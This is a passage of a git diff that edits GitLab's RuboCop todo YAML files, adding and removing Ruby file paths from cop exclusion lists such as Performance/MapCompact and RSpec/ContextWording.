- 'lib/gitlab/background_migration/backfill_draft_status_on_merge_requests.rb'
- 'lib/gitlab/background_migration/backfill_integrations_enable_ssl_verification.rb'
diff --git a/.rubocop_todo/migration/background_migration_record.yml b/.rubocop_todo/migration/background_migration_record.yml
index 567926e33a2..ec2b9fb6d6a 100644
--- a/.rubocop_todo/migration/background_migration_record.yml
+++ b/.rubocop_todo/migration/background_migration_record.yml
@@ -12,7 +12,6 @@ Migration/BackgroundMigrationRecord:
- 'ee/lib/ee/gitlab/background_migration/populate_resolved_on_default_branch_column.rb'
- 'ee/lib/ee/gitlab/background_migration/populate_uuids_for_security_findings.rb'
- 'ee/lib/ee/gitlab/background_migration/update_vulnerability_occurrences_location.rb'
- - 'lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed.rb'
- 'lib/gitlab/background_migration/backfill_ci_queuing_tables.rb'
- 'lib/gitlab/background_migration/backfill_draft_status_on_merge_requests.rb'
- 'lib/gitlab/background_migration/backfill_namespace_traversal_ids_children.rb'
diff --git a/.rubocop_todo/migration/background_migrations.yml b/.rubocop_todo/migration/background_migrations.yml
index 2219f37901d..fbafbb66289 100644
--- a/.rubocop_todo/migration/background_migrations.yml
+++ b/.rubocop_todo/migration/background_migrations.yml
@@ -1,17 +1,6 @@
---
Migration/BackgroundMigrations:
Exclude:
- - 'db/migrate/20210519154058_schedule_update_users_where_two_factor_auth_required_from_group.rb'
- - 'db/post_migrate/20210302074524_backfill_namespace_statistics_with_wiki_size.rb'
- - 'db/post_migrate/20210304133508_schedule_remove_duplicate_vulnerabilities_findings2.rb'
- - 'db/post_migrate/20210415155043_move_container_registry_enabled_to_project_features3.rb'
- - 'db/post_migrate/20210423160427_schedule_drop_invalid_vulnerabilities.rb'
- - 'db/post_migrate/20210427212034_schedule_update_timelogs_project_id.rb'
- - 'db/post_migrate/20210506065000_schedule_backfill_traversal_ids.rb'
- - 'db/post_migrate/20210511095658_schedule_migrate_project_taggings_context_from_tags_to_topics.rb'
- - 'db/post_migrate/20210511142748_schedule_drop_invalid_vulnerabilities2.rb'
- - 'db/post_migrate/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects.rb'
- - 'db/post_migrate/20210518074332_schedule_disable_expiration_policies_linked_to_no_container_images.rb'
- 'db/post_migrate/20210604070207_retry_backfill_traversal_ids.rb'
- 'db/post_migrate/20210611080951_fix_missing_traversal_ids.rb'
- 'db/post_migrate/20210701111909_backfill_issues_upvotes_count.rb'
@@ -26,7 +15,6 @@ Migration/BackgroundMigrations:
- 'db/post_migrate/20210901153324_slice_merge_request_diff_commit_migrations.rb'
- 'db/post_migrate/20210909104800_reschedule_extract_project_topics_into_separate_table_2.rb'
- 'db/post_migrate/20211004110927_schedule_fix_first_mentioned_in_commit_at_job.rb'
- - 'db/post_migrate/20211004120135_schedule_add_primary_email_to_emails_if_user_confirmed.rb'
- 'db/post_migrate/20211005010101_rereschedule_delete_orphaned_deployments.rb'
- 'db/post_migrate/20211005194425_schedule_requirements_migration.rb'
- 'db/post_migrate/20211006060436_schedule_populate_topics_total_projects_count_cache.rb'
diff --git a/.rubocop_todo/naming/heredoc_delimiter_naming.yml b/.rubocop_todo/naming/heredoc_delimiter_naming.yml
index d57905c8607..d10fac78cef 100644
--- a/.rubocop_todo/naming/heredoc_delimiter_naming.yml
+++ b/.rubocop_todo/naming/heredoc_delimiter_naming.yml
@@ -113,7 +113,6 @@ Naming/HeredocDelimiterNaming:
- 'spec/models/integrations/asana_spec.rb'
- 'spec/models/ssh_host_key_spec.rb'
- 'spec/rubocop/cop/migration/update_column_in_batches_spec.rb'
- - 'spec/services/ci/after_requeue_job_service_spec.rb'
- 'spec/services/ci/create_downstream_pipeline_service_spec.rb'
- 'spec/services/ci/create_pipeline_service/cache_spec.rb'
- 'spec/services/ci/create_pipeline_service/evaluate_runner_tags_spec.rb'
diff --git a/.rubocop_todo/performance/concurrent_monotonic_time.yml b/.rubocop_todo/performance/concurrent_monotonic_time.yml
new file mode 100644
index 00000000000..0e55eaf4a18
--- /dev/null
+++ b/.rubocop_todo/performance/concurrent_monotonic_time.yml
@@ -0,0 +1,6 @@
+---
+# Cop supports --autocorrect.
+Performance/ConcurrentMonotonicTime:
+ Details: grace period
+ Exclude:
+ - 'lib/gitlab/database/connection_timer.rb'
diff --git a/.rubocop_todo/performance/flat_map.yml b/.rubocop_todo/performance/flat_map.yml
new file mode 100644
index 00000000000..32dce1bf317
--- /dev/null
+++ b/.rubocop_todo/performance/flat_map.yml
@@ -0,0 +1,38 @@
+---
+# Cop supports --autocorrect.
+Performance/FlatMap:
+ Details: grace period
+ Exclude:
+ - 'app/presenters/packages/nuget/service_index_presenter.rb'
+ - 'app/services/projects/apple_target_platform_detector_service.rb'
+ - 'ee/app/models/burndown.rb'
+ - 'ee/app/models/geo_node_status.rb'
+ - 'ee/app/serializers/dashboard_environments_serializer.rb'
+ - 'ee/app/services/elastic/process_bookkeeping_service.rb'
+ - 'ee/lib/elastic/latest/issue_class_proxy.rb'
+ - 'ee/spec/lib/elastic/latest/user_class_proxy_spec.rb'
+ - 'ee/spec/models/analytics/issues_analytics_spec.rb'
+ - 'ee/spec/requests/api/members_spec.rb'
+ - 'ee/spec/support/helpers/license_scanning_report_helpers.rb'
+ - 'ee/spec/support/shared_examples/finders/security/findings_finder_shared_examples.rb'
+ - 'lib/gitlab/ci/pipeline/chain/create_deployments.rb'
+ - 'lib/gitlab/ci/pipeline/chain/ensure_environments.rb'
+ - 'lib/gitlab/ci/pipeline/chain/ensure_resource_groups.rb'
+ - 'lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb'
+ - 'lib/gitlab/diff/file_collection/base.rb'
+ - 'lib/gitlab/instrumentation/redis_cluster_validator.rb'
+ - 'lib/gitlab/testing/request_inspector_middleware.rb'
+ - 'lib/gitlab/usage_data_counters/hll_redis_counter.rb'
+ - 'qa/qa/resource/base.rb'
+ - 'qa/qa/tools/ci/non_empty_suites.rb'
+ - 'spec/controllers/projects/issues_controller_spec.rb'
+ - 'spec/lib/bulk_imports/groups/stage_spec.rb'
+ - 'spec/lib/bulk_imports/projects/stage_spec.rb'
+ - 'spec/lib/gitlab/ci/parsers/test/junit_spec.rb'
+ - 'spec/models/ci/pipeline_spec.rb'
+ - 'spec/requests/api/graphql/ci/pipelines_spec.rb'
+ - 'spec/requests/api/projects_spec.rb'
+ - 'spec/services/ci/create_pipeline_service/evaluate_runner_tags_spec.rb'
+ - 'spec/services/git/process_ref_changes_service_spec.rb'
+ - 'spec/support/shared_examples/models/with_debian_distributions_shared_examples.rb'
+ - 'spec/support/shared_examples/requests/api/graphql/issue_list_shared_examples.rb'
diff --git a/.rubocop_todo/performance/map_compact.yml b/.rubocop_todo/performance/map_compact.yml
new file mode 100644
index 00000000000..57ebe251798
--- /dev/null
+++ b/.rubocop_todo/performance/map_compact.yml
@@ -0,0 +1,148 @@
+---
+# Cop supports --autocorrect.
+Performance/MapCompact:
+ Details: grace period
+ Exclude:
+ - 'app/graphql/resolvers/concerns/resolves_ids.rb'
+ - 'app/graphql/resolvers/todos_resolver.rb'
+ - 'app/helpers/issuables_description_templates_helper.rb'
+ - 'app/helpers/notifications_helper.rb'
+ - 'app/models/ci/build_dependencies.rb'
+ - 'app/models/ci/pipeline.rb'
+ - 'app/models/ci/runner.rb'
+ - 'app/models/ci_platform_metric.rb'
+ - 'app/models/concerns/mentionable/reference_regexes.rb'
+ - 'app/models/concerns/pg_full_text_searchable.rb'
+ - 'app/models/container_repository.rb'
+ - 'app/models/design_management/design_at_version.rb'
+ - 'app/models/design_management/version.rb'
+ - 'app/models/environment.rb'
+ - 'app/models/environment_status.rb'
+ - 'app/models/instance_configuration.rb'
+ - 'app/models/integrations/chat_message/pipeline_message.rb'
+ - 'app/models/repository.rb'
+ - 'app/models/resource_label_event.rb'
+ - 'app/models/snippet_repository.rb'
+ - 'app/models/web_ide_terminal.rb'
+ - 'app/presenters/packages/conan/package_presenter.rb'
+ - 'app/presenters/packages/nuget/packages_metadata_presenter.rb'
+ - 'app/presenters/packages/nuget/search_results_presenter.rb'
+ - 'app/serializers/analytics/cycle_analytics/event_entity.rb'
+ - 'app/services/auth/container_registry_authentication_service.rb'
+ - 'app/services/events/render_service.rb'
+ - 'app/services/feature_flags/update_service.rb'
+ - 'app/services/git/base_hooks_service.rb'
+ - 'app/services/google_cloud/fetch_google_ip_list_service.rb'
+ - 'app/services/jira_import/start_import_service.rb'
+ - 'app/services/jira_import/users_mapper_service.rb'
+ - 'app/services/labels/available_labels_service.rb'
+ - 'app/services/merge_requests/get_urls_service.rb'
+ - 'app/services/merge_requests/pushed_branches_service.rb'
+ - 'app/services/merge_requests/update_service.rb'
+ - 'app/services/packages/maven/find_or_create_package_service.rb'
+ - 'app/services/projects/container_repository/third_party/delete_tags_service.rb'
+ - 'app/services/projects/update_statistics_service.rb'
+ - 'app/services/quick_actions/interpret_service.rb'
+ - 'app/services/repositories/changelog_service.rb'
+ - 'app/services/todos/allowed_target_filter_service.rb'
+ - 'config/initializers/trusted_proxies.rb'
+ - 'config/initializers/wikicloth_redos_patch.rb'
+ - 'ee/app/finders/security/findings_finder.rb'
+ - 'ee/app/graphql/ee/types/issue_connection_type.rb'
+ - 'ee/app/models/app_sec/fuzzing/api/ci_configuration.rb'
+ - 'ee/app/models/burndown.rb'
+ - 'ee/app/models/concerns/ee/project_security_scanners_information.rb'
+ - 'ee/app/models/concerns/elastic/application_versioned_search.rb'
+ - 'ee/app/models/gitlab_subscriptions/features.rb'
+ - 'ee/app/models/sca/license_compliance.rb'
+ - 'ee/app/services/app_sec/dast/profiles/create_associations_service.rb'
+ - 'ee/app/services/app_sec/dast/scan_configs/fetch_service.rb'
+ - 'ee/app/services/epic_issues/create_service.rb'
+ - 'ee/app/services/members/activate_service.rb'
+ - 'ee/app/services/security/override_uuids_service.rb'
+ - 'ee/app/services/security/store_scan_service.rb'
+ - 'ee/app/services/upcoming_reconciliations/update_service.rb'
+ - 'ee/app/services/vulnerabilities/findings/find_or_create_from_security_finding_service.rb'
+ - 'ee/app/workers/geo/scheduler/scheduler_worker.rb'
+ - 'ee/db/fixtures/development/30_customizable_cycle_analytics.rb'
+ - 'ee/lib/ee/api/entities/experiment.rb'
+ - 'ee/lib/ee/banzai/filter/references/iteration_reference_filter.rb'
+ - 'ee/lib/ee/gitlab/auth/ldap/person.rb'
+ - 'ee/lib/ee/gitlab/background_migration/populate_latest_pipeline_ids.rb'
+ - 'ee/lib/ee/gitlab/background_migration/recalculate_vulnerability_finding_signatures_for_findings.rb'
+ - 'ee/lib/elastic/latest/repository_instance_proxy.rb'
+ - 'ee/lib/gitlab/alert_management/alert_payload_field_extractor.rb'
+ - 'ee/lib/gitlab/ci/parsers/security/dast.rb'
+ - 'ee/lib/gitlab/ci/reports/license_scanning/report.rb'
+ - 'ee/lib/gitlab/ci/reports/metrics/reports_comparer.rb'
+ - 'ee/lib/gitlab/search/aggregation_parser.rb'
+ - 'ee/spec/models/analytics/issues_analytics_spec.rb'
+ - 'ee/spec/models/member_spec.rb'
+ - 'ee/spec/requests/api/audit_events_spec.rb'
+ - 'ee/spec/requests/api/search_spec.rb'
+ - 'haml_lint/linter/no_plain_nodes.rb'
+ - 'lib/api/entities/feature.rb'
+ - 'lib/api/entities/project.rb'
+ - 'lib/api/helpers/common_helpers.rb'
+ - 'lib/atlassian/jira_connect/client.rb'
+ - 'lib/atlassian/jira_connect/serializers/feature_flag_entity.rb'
+ - 'lib/banzai/filter/image_link_filter.rb'
+ - 'lib/banzai/filter/references/design_reference_filter.rb'
+ - 'lib/banzai/filter/references/label_reference_filter.rb'
+ - 'lib/banzai/filter/references/milestone_reference_filter.rb'
+ - 'lib/banzai/reference_parser/issuable_parser.rb'
+ - 'lib/error_tracking/sentry_client/pagination_parser.rb'
+ - 'lib/gitaly/server.rb'
+ - 'lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher.rb'
+ - 'lib/gitlab/analytics/usage_trends/workers_argument_builder.rb'
+ - 'lib/gitlab/auth/ip_rate_limiter.rb'
+ - 'lib/gitlab/background_migration/backfill_project_repositories.rb'
+ - 'lib/gitlab/changes_list.rb'
+ - 'lib/gitlab/checks/changes_access.rb'
+ - 'lib/gitlab/ci/parsers/security/common.rb'
+ - 'lib/gitlab/ci/reports/security/aggregated_report.rb'
+ - 'lib/gitlab/ci/reports/security/finding.rb'
+ - 'lib/gitlab/ci/reports/test_suite_summary.rb'
+ - 'lib/gitlab/config/entry/validators.rb'
+ - 'lib/gitlab/database/load_balancing/service_discovery.rb'
+ - 'lib/gitlab/database/obsolete_ignored_columns.rb'
+ - 'lib/gitlab/email/receiver.rb'
+ - 'lib/gitlab/git/commit.rb'
+ - 'lib/gitlab/git/conflict/file.rb'
+ - 'lib/gitlab/git/rugged_impl/commit.rb'
+ - 'lib/gitlab/github_import/importer/pull_requests/review_request_importer.rb'
+ - 'lib/gitlab/issuable/clone/copy_resource_events_service.rb'
+ - 'lib/gitlab/issues/rebalancing/state.rb'
+ - 'lib/gitlab/jira_import/metadata_collector.rb'
+ - 'lib/gitlab/json_cache.rb'
+ - 'lib/gitlab/language_detection.rb'
+ - 'lib/gitlab/legacy_github_import/importer.rb'
+ - 'lib/gitlab/private_commit_email.rb'
+ - 'lib/gitlab/sql/pattern.rb'
+ - 'lib/gitlab/url_blocker.rb'
+ - 'lib/gitlab/verify/batch_verifier.rb'
+ - 'qa/qa/page/component/issuable/sidebar.rb'
+ - 'qa/qa/specs/features/api/1_manage/migration/gitlab_migration_large_project_spec.rb'
+ - 'qa/qa/support/formatters/test_metrics_formatter.rb'
+ - 'qa/qa/tools/ci/ff_changes.rb'
+ - 'scripts/lint_templates_bash.rb'
+ - 'spec/controllers/every_controller_spec.rb'
+ - 'spec/controllers/projects/merge_requests/conflicts_controller_spec.rb'
+ - 'spec/lib/api/every_api_endpoint_spec.rb'
+ - 'spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb'
+ - 'spec/lib/gitlab/conflict/file_spec.rb'
+ - 'spec/lib/gitlab/import_export/project/tree_restorer_spec.rb'
+ - 'spec/lib/gitlab/import_export/references_configuration_spec.rb'
+ - 'spec/models/deployment_spec.rb'
+ - 'spec/models/network/graph_spec.rb'
+ - 'spec/models/repository_spec.rb'
+ - 'spec/requests/api/commits_spec.rb'
+ - 'spec/requests/api/groups_spec.rb'
+ - 'spec/requests/lfs_http_spec.rb'
+ - 'spec/serializers/diff_file_entity_spec.rb'
+ - 'spec/services/projects/container_repository/third_party/cleanup_tags_service_spec.rb'
+ - 'spec/support/helpers/dns_helpers.rb'
+ - 'spec/support/helpers/graphql_helpers.rb'
+ - 'spec/support/shared_examples/features/navbar_shared_examples.rb'
+ - 'spec/support/shared_examples/lib/gitlab/config/inheritable_shared_examples.rb'
+ - 'spec/support/shared_examples/models/label_note_shared_examples.rb'
diff --git a/.rubocop_todo/performance/redundant_equality_comparison_block.yml b/.rubocop_todo/performance/redundant_equality_comparison_block.yml
new file mode 100644
index 00000000000..44da9710249
--- /dev/null
+++ b/.rubocop_todo/performance/redundant_equality_comparison_block.yml
@@ -0,0 +1,23 @@
+---
+# Cop supports --autocorrect.
+Performance/RedundantEqualityComparisonBlock:
+ Details: grace period
+ Exclude:
+ - 'app/graphql/types/work_item_id_type.rb'
+ - 'app/models/concerns/group_descendant.rb'
+ - 'app/models/concerns/id_in_ordered.rb'
+ - 'app/models/todo.rb'
+ - 'app/validators/feature_flag_strategies_validator.rb'
+ - 'ee/app/helpers/ee/dashboard_helper.rb'
+ - 'ee/lib/compliance_management/merge_request_approval_settings/resolver.rb'
+ - 'ee/lib/elastic/latest/user_instance_proxy.rb'
+ - 'ee/lib/gitlab/geo/geo_node_status_check.rb'
+ - 'ee/spec/lib/ee/sidebars/projects/panel_spec.rb'
+ - 'lib/gitlab/ci/config/yaml/tags/reference.rb'
+ - 'lib/gitlab/config/entry/validators.rb'
+ - 'lib/gitlab/i18n/translation_entry.rb'
+ - 'lib/gitlab/push_options.rb'
+ - 'lib/gitlab/utils/delegator_override.rb'
+ - 'lib/gitlab/view/presenter/base.rb'
+ - 'spec/lib/object_storage/direct_upload_spec.rb'
+ - 'spec/support/import_export/project_tree_expectations.rb'
diff --git a/.rubocop_todo/performance/redundant_split_regexp_argument.yml b/.rubocop_todo/performance/redundant_split_regexp_argument.yml
new file mode 100644
index 00000000000..0c0e12480d5
--- /dev/null
+++ b/.rubocop_todo/performance/redundant_split_regexp_argument.yml
@@ -0,0 +1,8 @@
+---
+# Cop supports --autocorrect.
+Performance/RedundantSplitRegexpArgument:
+ Details: grace period
+ Exclude:
+ - 'lib/file_size_validator.rb'
+ - 'lib/gitlab/git/raw_diff_change.rb'
+ - 'lib/kramdown/converter/commonmark.rb'
diff --git a/.rubocop_todo/rails/file_path.yml b/.rubocop_todo/rails/file_path.yml
index 0a652631e0b..2b01db2e440 100644
--- a/.rubocop_todo/rails/file_path.yml
+++ b/.rubocop_todo/rails/file_path.yml
@@ -8,8 +8,6 @@ Rails/FilePath:
- 'app/models/concerns/cross_database_modification.rb'
- 'app/models/release_highlight.rb'
- 'app/serializers/review_app_setup_entity.rb'
- - 'app/services/clusters/aws/fetch_credentials_service.rb'
- - 'app/services/clusters/aws/provision_service.rb'
- 'app/services/metrics/sample_metrics_service.rb'
- 'app/services/projects/readme_renderer_service.rb'
- 'config/environments/development.rb'
@@ -17,7 +15,6 @@ Rails/FilePath:
- 'config/initializers/7_prometheus_metrics.rb'
- 'config/initializers/lograge.rb'
- 'config/initializers_before_autoloader/001_fast_gettext.rb'
- - 'db/migrate/20210517144856_require_snapshot_namespace.rb'
- 'db/post_migrate/20210630025020_migrate_push_event_payloads_event_id_back_to_integer_for_gitlab_com.rb'
- 'ee/app/helpers/ee/application_helper.rb'
- 'ee/app/services/security/security_orchestration_policies/project_create_service.rb'
@@ -126,8 +123,6 @@ Rails/FilePath:
- 'spec/requests/api/internal/mail_room_spec.rb'
- 'spec/requests/api/usage_data_queries_spec.rb'
- 'spec/serializers/review_app_setup_entity_spec.rb'
- - 'spec/services/clusters/aws/fetch_credentials_service_spec.rb'
- - 'spec/services/clusters/aws/provision_service_spec.rb'
- 'spec/services/metrics/sample_metrics_service_spec.rb'
- 'spec/support/helpers/doc_url_helper.rb'
- 'spec/support/helpers/test_env.rb'
diff --git a/.rubocop_todo/rails/inverse_of.yml b/.rubocop_todo/rails/inverse_of.yml
index a1f49aaf2f5..5ec863fdb25 100644
--- a/.rubocop_todo/rails/inverse_of.yml
+++ b/.rubocop_todo/rails/inverse_of.yml
@@ -29,10 +29,10 @@ Rails/InverseOf:
- 'app/models/clusters/project.rb'
- 'app/models/commit_signatures/x509_commit_signature.rb'
- 'app/models/commit_status.rb'
- - 'app/models/concerns/analytics/cycle_analytics/stage.rb'
- 'app/models/concerns/awardable.rb'
- 'app/models/concerns/commit_signature.rb'
- 'app/models/concerns/with_uploads.rb'
+ - 'app/models/concerns/work_item_resource_event.rb'
- 'app/models/custom_emoji.rb'
- 'app/models/customer_relations/contact.rb'
- 'app/models/customer_relations/organization.rb'
@@ -70,8 +70,6 @@ Rails/InverseOf:
- 'app/models/work_item.rb'
- 'app/models/x509_certificate.rb'
- 'ee/app/models/allowed_email_domain.rb'
- - 'ee/app/models/analytics/cycle_analytics/group_stage.rb'
- - 'ee/app/models/analytics/cycle_analytics/group_value_stream.rb'
- 'ee/app/models/analytics/devops_adoption/enabled_namespace.rb'
- 'ee/app/models/analytics/devops_adoption/snapshot.rb'
- 'ee/app/models/audit_events/external_audit_event_destination.rb'
diff --git a/.rubocop_todo/rails/negate_include.yml b/.rubocop_todo/rails/negate_include.yml
index 74f469f325b..14e5ceae628 100644
--- a/.rubocop_todo/rails/negate_include.yml
+++ b/.rubocop_todo/rails/negate_include.yml
@@ -51,6 +51,5 @@ Rails/NegateInclude:
- 'spec/lib/gitlab/metrics/dashboard/stages/metric_endpoint_inserter_spec.rb'
- 'spec/lib/gitlab/metrics/subscribers/active_record_spec.rb'
- 'spec/support/matchers/pushed_frontend_feature_flags_matcher.rb'
- - 'spec/support/shared_contexts/markdown_golden_master_shared_examples.rb'
- 'spec/uploaders/object_storage_spec.rb'
- 'tooling/danger/specs.rb'
diff --git a/.rubocop_todo/rails/pluck.yml b/.rubocop_todo/rails/pluck.yml
index e094a3397a6..307e6f59800 100644
--- a/.rubocop_todo/rails/pluck.yml
+++ b/.rubocop_todo/rails/pluck.yml
@@ -49,7 +49,6 @@ Rails/Pluck:
- 'ee/spec/graphql/types/vulnerability_scanner_type_spec.rb'
- 'ee/spec/helpers/ee/geo_helper_spec.rb'
- 'ee/spec/helpers/ee/operations_helper_spec.rb'
- - 'ee/spec/lib/ee/gitlab/import_export/group/legacy_tree_saver_spec.rb'
- 'ee/spec/lib/ee/gitlab/import_export/group/tree_saver_spec.rb'
- 'ee/spec/lib/gitlab/custom_file_templates_spec.rb'
- 'ee/spec/lib/gitlab/spdx/catalogue_spec.rb'
@@ -186,7 +185,6 @@ Rails/Pluck:
- 'spec/lib/gitlab/database_importers/common_metrics/importer_spec.rb'
- 'spec/lib/gitlab/git/blame_spec.rb'
- 'spec/lib/gitlab/git/conflict/parser_spec.rb'
- - 'spec/lib/gitlab/import_export/group/legacy_tree_saver_spec.rb'
- 'spec/lib/gitlab/import_export/project/sample/relation_tree_restorer_spec.rb'
- 'spec/lib/gitlab/import_export/project/tree_saver_spec.rb'
- 'spec/lib/gitlab/language_detection_spec.rb'
@@ -285,14 +283,12 @@ Rails/Pluck:
- 'spec/serializers/stage_entity_spec.rb'
- 'spec/services/ci/compare_test_reports_service_spec.rb'
- 'spec/services/ci/pipeline_processing/atomic_processing_service/status_collection_spec.rb'
- - 'spec/services/clusters/applications/prometheus_config_service_spec.rb'
- 'spec/services/issues/export_csv_service_spec.rb'
- 'spec/services/metrics/dashboard/custom_metric_embed_service_spec.rb'
- 'spec/services/projects/participants_service_spec.rb'
- 'spec/support/helpers/api_helpers.rb'
- 'spec/support/helpers/graphql_helpers.rb'
- 'spec/support/matchers/background_migrations_matchers.rb'
- - 'spec/support/shared_contexts/markdown_golden_master_shared_examples.rb'
- 'spec/support/shared_examples/graphql/mutation_shared_examples.rb'
- 'spec/support/shared_examples/requests/api/container_repositories_shared_examples.rb'
- 'spec/support/shared_examples/requests/api/custom_attributes_shared_examples.rb'
diff --git a/.rubocop_todo/rails/redundant_foreign_key.yml b/.rubocop_todo/rails/redundant_foreign_key.yml
index 3251429876e..3a7c4a3754e 100644
--- a/.rubocop_todo/rails/redundant_foreign_key.yml
+++ b/.rubocop_todo/rails/redundant_foreign_key.yml
@@ -18,7 +18,6 @@ Rails/RedundantForeignKey:
- 'app/models/clusters/concerns/application_core.rb'
- 'app/models/clusters/integrations/prometheus.rb'
- 'app/models/commit_signatures/x509_commit_signature.rb'
- - 'app/models/concerns/analytics/cycle_analytics/stage.rb'
- 'app/models/concerns/commit_signature.rb'
- 'app/models/concerns/integrations/base_data_fields.rb'
- 'app/models/group.rb'
diff --git a/.rubocop_todo/rspec/any_instance_of.yml b/.rubocop_todo/rspec/any_instance_of.yml
index f24fbbfbed2..e589d9ed9c6 100644
--- a/.rubocop_todo/rspec/any_instance_of.yml
+++ b/.rubocop_todo/rspec/any_instance_of.yml
@@ -2,24 +2,7 @@
# Cop supports --autocorrect.
RSpec/AnyInstanceOf:
Exclude:
- - 'ee/spec/controllers/admin/geo/nodes_controller_spec.rb'
- - 'ee/spec/controllers/ee/groups_controller_spec.rb'
- - 'ee/spec/controllers/groups/analytics/productivity_analytics_controller_spec.rb'
- - 'ee/spec/controllers/groups/epics/notes_controller_spec.rb'
- - 'ee/spec/controllers/groups/omniauth_callbacks_controller_spec.rb'
- - 'ee/spec/controllers/oauth/geo_auth_controller_spec.rb'
- - 'ee/spec/controllers/projects/integrations/jira/issues_controller_spec.rb'
- - 'ee/spec/controllers/projects/merge_requests_controller_spec.rb'
- - 'ee/spec/controllers/projects/path_locks_controller_spec.rb'
- - 'ee/spec/controllers/projects_controller_spec.rb'
- - 'ee/spec/controllers/subscriptions_controller_spec.rb'
- - 'ee/spec/features/admin/admin_audit_logs_spec.rb'
- - 'ee/spec/features/admin/admin_reset_pipeline_minutes_spec.rb'
- - 'ee/spec/features/admin/admin_users_spec.rb'
- - 'ee/spec/features/ci_shared_runner_warnings_spec.rb'
- - 'ee/spec/features/groups/group_settings_spec.rb'
- 'ee/spec/features/issues/form_spec.rb'
- - 'ee/spec/features/merge_request/user_creates_merge_request_spec.rb'
- 'ee/spec/features/projects/new_project_spec.rb'
- 'ee/spec/features/registrations/welcome_spec.rb'
- 'ee/spec/features/security/project/internal_access_spec.rb'
@@ -378,7 +361,6 @@ RSpec/AnyInstanceOf:
- 'spec/workers/build_hooks_worker_spec.rb'
- 'spec/workers/ci/build_schedule_worker_spec.rb'
- 'spec/workers/ci/daily_build_group_report_results_worker_spec.rb'
- - 'spec/workers/cluster_provision_worker_spec.rb'
- 'spec/workers/clusters/cleanup/project_namespace_worker_spec.rb'
- 'spec/workers/clusters/cleanup/service_account_worker_spec.rb'
- 'spec/workers/concerns/project_import_options_spec.rb'
@@ -398,4 +380,3 @@ RSpec/AnyInstanceOf:
- 'spec/workers/pipeline_schedule_worker_spec.rb'
- 'spec/workers/project_cache_worker_spec.rb'
- 'spec/workers/stage_update_worker_spec.rb'
- - 'spec/workers/wait_for_cluster_creation_worker_spec.rb'
diff --git a/.rubocop_todo/rspec/capybara/visibility_matcher.yml b/.rubocop_todo/rspec/capybara/visibility_matcher.yml
index f9e8c982903..5f35e5d90f7 100644
--- a/.rubocop_todo/rspec/capybara/visibility_matcher.yml
+++ b/.rubocop_todo/rspec/capybara/visibility_matcher.yml
@@ -46,7 +46,6 @@ RSpec/Capybara/VisibilityMatcher:
- 'spec/features/projects/issues/design_management/user_views_designs_with_svg_xss_spec.rb'
- 'spec/features/projects/jobs_spec.rb'
- 'spec/features/projects/network_graph_spec.rb'
- - 'spec/features/projects/pipelines/legacy_pipeline_spec.rb'
- 'spec/features/projects/pipelines/pipeline_spec.rb'
- 'spec/features/projects/settings/lfs_settings_spec.rb'
- 'spec/features/projects/settings/packages_settings_spec.rb'
diff --git a/.rubocop_todo/rspec/context_wording.yml b/.rubocop_todo/rspec/context_wording.yml
index 5a01f229482..ccadc31c974 100644
--- a/.rubocop_todo/rspec/context_wording.yml
+++ b/.rubocop_todo/rspec/context_wording.yml
@@ -47,7 +47,6 @@ RSpec/ContextWording:
- 'ee/spec/controllers/projects/integrations/jira/issues_controller_spec.rb'
- 'ee/spec/controllers/projects/integrations/zentao/issues_controller_spec.rb'
- 'ee/spec/controllers/projects/issues_controller_spec.rb'
- - 'ee/spec/controllers/projects/legacy_pipelines_controller_spec.rb'
- 'ee/spec/controllers/projects/merge_requests/creations_controller_spec.rb'
- 'ee/spec/controllers/projects/merge_requests_controller_spec.rb'
- 'ee/spec/controllers/projects/mirrors_controller_spec.rb'
@@ -59,7 +58,6 @@ RSpec/ContextWording:
- 'ee/spec/controllers/projects/settings/repository_controller_spec.rb'
- 'ee/spec/controllers/projects/vulnerability_feedback_controller_spec.rb'
- 'ee/spec/controllers/projects_controller_spec.rb'
- - 'ee/spec/controllers/registrations/welcome_controller_spec.rb'
- 'ee/spec/controllers/repositories/git_http_controller_spec.rb'
- 'ee/spec/controllers/security/dashboard_controller_spec.rb'
- 'ee/spec/controllers/security/vulnerabilities_controller_spec.rb'
@@ -156,7 +154,6 @@ RSpec/ContextWording:
- 'ee/spec/features/projects/milestones/milestone_spec.rb'
- 'ee/spec/features/projects/new_project_from_template_spec.rb'
- 'ee/spec/features/projects/new_project_spec.rb'
- - 'ee/spec/features/projects/pipelines/legacy_pipeline_spec.rb'
- 'ee/spec/features/projects/pipelines/pipeline_spec.rb'
- 'ee/spec/features/projects/push_rules_spec.rb'
- 'ee/spec/features/projects/quality/test_case_create_spec.rb'
@@ -284,7 +281,6 @@ RSpec/ContextWording:
- 'ee/spec/helpers/ee/operations_helper_spec.rb'
- 'ee/spec/helpers/ee/personal_access_tokens_helper_spec.rb'
- 'ee/spec/helpers/ee/projects/security/api_fuzzing_configuration_helper_spec.rb'
- - 'ee/spec/helpers/ee/welcome_helper_spec.rb'
- 'ee/spec/helpers/groups/security_features_helper_spec.rb'
- 'ee/spec/helpers/license_helper_spec.rb'
- 'ee/spec/helpers/license_monitoring_helper_spec.rb'
@@ -335,8 +331,6 @@ RSpec/ContextWording:
- 'ee/spec/lib/ee/gitlab/group_search_results_spec.rb'
- 'ee/spec/lib/ee/gitlab/hook_data/group_member_builder_spec.rb'
- 'ee/spec/lib/ee/gitlab/hook_data/user_builder_spec.rb'
- - 'ee/spec/lib/ee/gitlab/import_export/group/legacy_tree_restorer_spec.rb'
- - 'ee/spec/lib/ee/gitlab/import_export/group/legacy_tree_saver_spec.rb'
- 'ee/spec/lib/ee/gitlab/import_export/group/tree_restorer_spec.rb'
- 'ee/spec/lib/ee/gitlab/import_export/group/tree_saver_spec.rb'
- 'ee/spec/lib/ee/gitlab/import_export/project/tree_saver_spec.rb'
@@ -441,7 +435,6 @@ RSpec/ContextWording:
- 'ee/spec/migrations/schedule_requirements_migration_spec.rb'
- 'ee/spec/models/alert_management/alert_payload_field_spec.rb'
- 'ee/spec/models/allowed_email_domain_spec.rb'
- - 'ee/spec/models/analytics/cycle_analytics/group_stage_spec.rb'
- 'ee/spec/models/analytics/cycle_analytics/project_stage_spec.rb'
- 'ee/spec/models/application_setting_spec.rb'
- 'ee/spec/models/approval_merge_request_rule_spec.rb'
@@ -639,7 +632,6 @@ RSpec/ContextWording:
- 'ee/spec/requests/api/projects_spec.rb'
